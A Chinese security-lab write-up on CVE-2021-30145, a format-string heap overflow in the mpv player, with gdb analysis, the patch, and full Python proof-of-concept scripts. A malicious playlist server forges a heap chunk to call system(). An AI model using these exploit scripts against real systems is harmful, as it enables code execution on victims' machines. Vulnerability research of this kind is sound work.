作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/2q8kSl6oC7ECXU8OaMwuTw

0x00 背景介紹

mpv項目是開源項目,可以在多個系統包括Windows、Linux、MacOs上運行,是一款流行的視頻播放器,mpv軟件在讀取文件名稱時存在格式化字符串漏洞,可以導致堆溢出并執行任意代碼。

0x01 環境搭建

系統環境為Ubuntu x64位,軟件環境可以通過兩種方式搭建環境。

1.通過源碼編譯,源碼地址為:https://github.com/mpv-player/mpv/tree/v0.33.0

下載地址為:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip

2.直接安裝安裝包,安裝后沒有符號,調試不方便,可以使用以下三條命令來安裝軟件:

sudo add-apt-repository ppa:mc3man/mpv-tests

sudo apt-get update

sudo apt-get install mpv

參考https://blog.csdn.net/qq_34626094/article/details/113122032

安裝完成后運行軟件如下所示:

圖片

0x02 漏洞復現

源代碼:

圖片

demux_mf.c文件中154行存在對sprintf函數的調用,sprintf函數是格式化字符串函數,參數1是目標緩沖區,參數2是格式化字符串,參數2是可控的,第三個參數是循環次數,mpv程序本身支持文件名中傳入一個%,可以使用%d打印這個循環次數,但是由于校驗不嚴格,并沒有校驗其他的格式化字符串,以及%的個數,所以存在格式化字符串漏洞:

圖片

在demux_mf.c文件中127行會檢查是否存在%,沒有判斷有幾個%,以及%之后的參數。

程序存在格式化字符串漏洞,使用如下命令運行程序:./mpv -v mf://%p.%p.%p

圖片

運行mpv時使用-v參數可以打印出更加詳細的信息,此時可以看到打印出了棧上的信息,格式化字符串漏洞造成了信息泄漏。

demux_mf.c文件中154行存在對sprintf函數的調用,sprintf函數是格式化字符串函數,參數1是緩沖區,參數2是格式化字符串,這是可控的,現在為了安全都使用snprintf函數,可以限制緩沖區的大小,使用sprintf函數會造成信息泄漏,圖中fname是堆中的緩沖區地址:

圖片

程序自己實現了一個內存申請函數,包含自定義的塊頭結構,在函數的124行調用talloc_size來申請內存,申請大小為文件名的大小加32個字節,如果使用格式字符串例如%1000d,會把一個四字節數據擴展到占用1000個字節,這樣會導致堆溢出。

圖片

上圖中,啟動mpv時傳入參數 mf://%1000d會導致程序崩潰。

0x03 漏洞分析

通過源碼編譯后可以根據符號對程序下斷點,先查看下open_mf_pattern漏洞函數:

使用gdb啟動mpv程序:gdb ./mpv

\~~~

gdb-peda$ disassemble open_mf_pattern

Dump of assembler code for function open_mf_pattern:

\~~~

0x00000000001e44af <+559>: call 0x1305a0 < __ sprintf_chk@plt>

\~~~

可以看到在open_mf_pattern+0x559處調用的是sprintf_chk函數,這是因為使用源碼編譯時使用了FORTIFY_SOURCE選項,對sprintf函數的調用會自動修改為調用sprintf_chk函數,可以在gdb-peda下輸入checksec檢查:

gdb-peda$ checksec

CANARY : ENABLED

FORTIFY : ENABLED 可以看到開啟了FORTIFY選項

NX : ENABLED

PIE : disabled

gdb-peda$

sprintf_chk函數有一個變量表明緩沖區的大小,但是因為此處緩沖區是通過talloc_size申請堆上的內存,所以沒有辦法在編譯器確定緩沖區的大小,所以此函數使用0xFFFFFFFFFFFFFFFF來表明緩沖區的大小,這樣我們就可以使用堆溢出來利用這個漏洞,實際操作中這個漏洞被利用可能性還是比較小的,本次在Ubuntu 20.04.1 LTS系統和關閉ASLR情況下利用此漏洞:

0x04 漏洞利用程序開發

開發利用程序前,需要使用sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"命令關閉系統的ASLR功能。

mpv程序運行時會把格式化字符串塊保存在自定義的塊中,使用talloc_size來分配內存,還有自定義的堆頭結構。

   struct ta_header {
size_t size;               // size of theuser allocation
// Invariant:parent!=NULL => prev==NULL
struct ta_header *prev;     // siblings list(by destructor order)
struct ta_header *next;
// Invariant:parent==NULL || parent->child==this
struct ta_header *child;    // points tofirst child
struct ta_header *parent;   // set for_first_ child only, NULL otherwise
void (*destructor)(void *);
#ifTA_MEMORY_DEBUGGING
unsigned int canary;
struct ta_header *leak_next;
struct ta_header *leak_prev;
const char *name;
#endif
};

可以在ta.c文件中看到此結構的內容以及對應的函數,此結構中包含一個destructor,是析構指針,還有一個值是canary,編譯選項TA_MEMORY_DEBUGGING默認是啟用的,此值為固定值0xD3ADB3EF,是為了檢測程序是否有異常。

當調用ta_free函數時會判斷析構函數,如果析構函數不為空,那么會去調用析構函數。

圖片

在此函數內部還調用了get_header函數,函數內容為

圖片

根據堆塊地址ptr往低地址偏移固定字節找到堆頭結構地址tag_head*,然后調用ta_dbg_check_header函數

圖片

ta_dbg_check_header函數會檢查canary值是否為0xD3ADB3EF,如果parent不為空,還會判斷前向節點和父節點。

  • 5.1 覆蓋destructor指針

漏洞利用思路為調用sprintf函數時堆溢出到下一個堆的頭結構,改變堆頭結構的析構指針,當調用ta_free函數時,如果析構指針不為空,那么就會調用析構函數。

mpv程序在運行時可以讀取m3u文件列表,如使用命令:
./mpv http://localhost:7000/x.m3u

mpv程序會去連接本地的7000端口,并獲取x.m3u文件,獲取的內容mf://及之后的內容保存在堆中,當mf://及之后的內容占用不同大小的空間時,程序會把文件名稱的內容放在堆中不同的位置處,我們需要找到一個合適的大小來滿足如下條件:當mpv將文件內容名稱存放在堆中時,后面的內存內容包含一個自定義的堆頭結構,這樣當我們溢出數據時,可以操縱到后面的堆頭結構內容。

使用如下的POC測試占用不同的空間可以將文件名稱內容放到合適的地址處:

\#!/usr/bin/env python3  
 import socket  

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.bind(('localhost', 7000))

  s.listen(5)

  c, a = s.accept()

  playlist = b'mf://'

   playlist += b'A'*0x40

  playlist += b'%d' # we need a '%' to reach vulnerable path

   d = b'HTTP/1.1 200 OK\r\n'

   d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

代碼中使用playlist += b'A'*0x40來占位,0x40是經過測試的數據,筆者可以修改此值來測試占用多少字節可以申請一個合適的位置,運行此腳本文件。然后使用gdb調試mpv程序:gdb ./mpv

使用命令b *open_mf_pattern+559在調用sprintf_chk函數處下斷點,使用命令運行 mpv程序:r http://localhost:7000/x.m3u

圖片 可以看到第一個參數arg[0]數據為0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移0x50是為了查看堆頭結構的數據:

   gdb-peda$ x/100xg 0x7fffec001210-0x50

  0x7fffec0011c0:   0x0000000000000062  0x0000000000000000  [size]  |   [prev]

  0x7fffec0011d0:   0x0000000000000000  0x0000000000000000  [next]  |   [child]

  0x7fffec0011e0:   0x00007fffec0011400 0x0000000000000000  [parent]  | [destructor]

  0x7fffec001200:   0x0000000000000000  0x0000555556676b8f  [leak_prev] | [name]

  0x7fffec001210:   0x0000000000000000  0x0000000000000071 begin actual data

  \~~~

  0x7fffec001450:   0x0000000000000003  0x00007fffec004a80  [size]  |   [prev]

  0x7fffec001460:   0x0000000000000000  0x0000000000000000  [next]  |   [child]

  0x7fffec001470:   0x0000000000000000  0x0000000000000000  [parent]  | [destructor]

  0x7fffec001480:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

  0x7fffec001490:   0x0000000000000000  0x0000555556c288a0  [leak_prev] | [name]

  0x7fffec0014a0:   0x000000006600666d  0x00000000000000f5  begin actual data

堆塊的實際數據起始地址為0x7fffec001210,堆頭地址為0x7fffec0011C0,緊隨其后有一個堆頭結構位于0x7fffec001450。

使用如下poc腳本即可覆蓋0x7fffec001450堆頭結構中的destructor指針

  \#!/usr/bin/env python3

  import socket

  from pwn import *

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.bind(('localhost', 7000))

  s.listen(5)

  c, a = s.accept()

  playlist = b'mf://'

  playlist += b'A'*0x10

  playlist += b'%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22'

  d = b'HTTP/1.1 200 OK\r\n'

  d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

正常情況下%c即可格式化一個char類型的數據,使用%590c是為了似乎用空格字符占用更多的字節,讓程序去處理目的地址590個字節后面的數據,%c%c的目的是跳到一個參數,該參數的值為0,%4c%4c%4c%4c將8個字節的0x00寫到父指針parent中,繞過ta_dbg_check_header函數中對前向節點和父節點的檢查。6個\x22將0x222222222222寫入到destruct指針中。

程序會多次運行到sprintf_chk函數處,從源代碼中可以看到程序會運行5次,在最后一次運行結束后,查看后續堆的頭結構內容如下:

  gdb-peda$ x/20xg 0x7fffec001450

  0x7fffec001450:   0x2020202020202020  0x2020202020202020  [size]  |   [prev]

  0x7fffec001460:   0x2020202020202020  0xdf6e042020202020  [next]  |   [child]

  0x7fffec001470:   0x0000000000000000  0x0000222222222222  [parent]  | [destructor]

  0x7fffec001480:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

當前已經覆蓋了destructor指針為0x0000222222222222,輸入指令c并回車繼續運行:

圖片

可以看到出現段錯誤,RIP為0x222222222222,將要執行到RIP指向的指令,但是內存地址不合法導致程序出現段錯誤。

  • 5.2 覆蓋child指針

目前只修改到了RIP,其他的上下文并不合適,可以換一種利用思路,通過觀察源代碼可以看到:

在ta.c文件中可以看到調用析構函數后,還調用了ta_free_children釋放子節點,在ta_free_children函數中調用ta_free釋放子節點,然后在此函數中又判斷子節點的destructor指針,如不為0,則調用destructor指向內存的代碼。

現在需要換一種漏洞利用思路,即覆蓋到堆頭結構中的child指針,如果這個child塊是我們自己可以構造的一個假塊,構造destructor指針為system函數的地址,canary值為固定值0xd3adb3ef,還需構造假塊的parent為0,就可以繞過判斷,調用system函數時傳入的指針為堆塊的實際數據的起始地址,所以我們還需要構造這個假塊的實際數據為“gnome-calculator”字符串。

還需要構造這個假塊, mpv程序讀取m3u文件列表時,會接收http報文,http報文中包含了文件名數據,還可以在http報文中構造一個假塊,當關閉ASLR情況下,http報文中假塊的堆頭結構地址是固定的0x00007fffec001dd8,這個地址在不同的系統版本以及軟件下可能會有變化,所以需要讀者自己去定位,筆者使用如下方式定位:

1.http報文在內存中的地址與調用sprintf時的目的地址在同一塊內存中。

2.程序在調用sprintf斷下后,使用vmmap查看進程模塊占用了哪些內存頁面,查看sprintf函數的第一個參數落到哪個內存塊中:

圖片

如圖參數1指向的內存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 內存塊中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump內存到磁盤上。

3.使用二進制文本搜索工具如winhex,搜索gnome-calculator,即可找到假塊在文件中的數據,對應到內存中即可找到數據。

圖片

圖中文件偏移0x1DD8處的數據即為假塊堆頭結構,0x1E28處數據即為假塊實際數據起始處。

4.找到假塊堆頭在文件中的位置為0x1DD8,那在內存中的位置為0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改對應EXP中子塊的指針

圖片

5.在gdb-peda插件下輸入命令:print system,可以定位到system函數的地址,修改腳本中SYSTEM_ADDR為system函數對應地址。

EXP腳本如下:

\#!/usr/bin/env python3

import socket

from pwn import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('localhost', 7000))

s.listen(5)

c, a = s.accept()

playlist = b'mf://'

playlist += b'A'*0x30

playlist += b'%550c%c%c'

playlist += b'\xd8\x1d%4$c\xec\xff\x7f' # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff760c410

CANARY   = 0xD3ADB3EF

fake_chunk = p64(0) # size

fake_chunk += p64(0) # prev

fake_chunk += p64(0) # next

fake_chunk += p64(0) # child

fake_chunk += p64(0) # parent

fake_chunk += p64(SYSTEM_ADDR) # destructor

fake_chunk += p64(CANARY) # canary

fake_chunk += p64(0) # leak_next

  fake_chunk += p64(0) # leak_prev

  fake_chunk += p64(0) # name

  d = b'HTTP/1.1 200 OK\r\n'

  d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'PL: '

  d += fake_chunk

  d += b'gnome-calculator\x00'

  d += b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

使用gdb啟動mpv后,下斷點b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u運行程序,多次運行sprintf_chk后查看內存數據:

  gdb-peda$ x/20xg 0x7fffec001450

  0x7fffec001450:   0x2020202020202020  0x2020202020202020  

  0x7fffec001460:   0xdf5e042020202020  0x00007fffec001dd8  [next]  |   [child]

  child指針此時為0x00007fffec001dd8,查看child中的數據:

  gdb-peda$ x/20xg 0x00007fffec001dd8

  0x7fffec001dd8:   0x0000000000000000  0x0000000000000000

  0x7fffec001de8:   0x0000000000000000  0x0000000000000000

  0x7fffec001df8:   0x0000000000000000  0x00007ffff760c410  [parent]  | [destructor]

  0x7fffec001e08:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

地址0x7fffec001e28處對應的是堆實際數據,對應的是字符串數據gnome-calculator,

destructor為system函數的地址,按c回車運行:

圖片

可以看到彈出了計算器。

總結一下利用思路:

  1. mpv程序在讀取m3u文件列表時會使用http協議從服務端上取出對應的文件名稱

  2. 服務端發送http報文時包含了格式化字符串以及一個構造的假塊,這個假塊包括偽造好的堆頭結構以及堆內容

  3. mpv取到對應的文件名稱時會調用sprintf_chk時將文件名作為格式化字符串去格式化一個堆空間,由于目標地址是在堆中,所以沒有辦法在編譯器確定堆的大小,傳入一個0xFFFFFFFFFFFFFFFF作為堆的大小,相當于沒有對堆空間大小做限制,調用此函數會導致堆溢出,溢出到相鄰的一個堆塊頭結構,覆蓋child指針。

  4. 這個child指針指向一個假塊,假塊內容是服務器端使用http協議發過來的數據,假塊包括頭結構和實際數據,頭結構中destructor字段修改system函數的地址,當釋放這個child塊時,會判斷destructor指針是否為空,不為空則調用destructor指向的函數,參數為假塊實際數據的地址,假塊構造時在實際數據中填充字符串gnome-calculator,所以調用析構函數時效果相當于調用system(“gnome-calculator”)。

注意需要關閉系統的ASLR,這樣system函數地址才為固定值,實際中此漏洞利用難度較大,需要繞過ASLR。

0x05 漏洞修復

目前該漏洞已經修復,本身程序運行時是支持文件名中帶一個%d的格式化字符串,修復后檢查只有一個%,并且是%d,如果是其他的參數則不合法。

圖片

對sprintf函數的調用修改為調用snprintf,限制了緩沖區的大小。

圖片

圖片

0x06 參考鏈接

mpv 媒體播放器–mf 自定義協議漏洞(CVE-2021-30145):

https://devel0pment.de/?p=2217


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1746/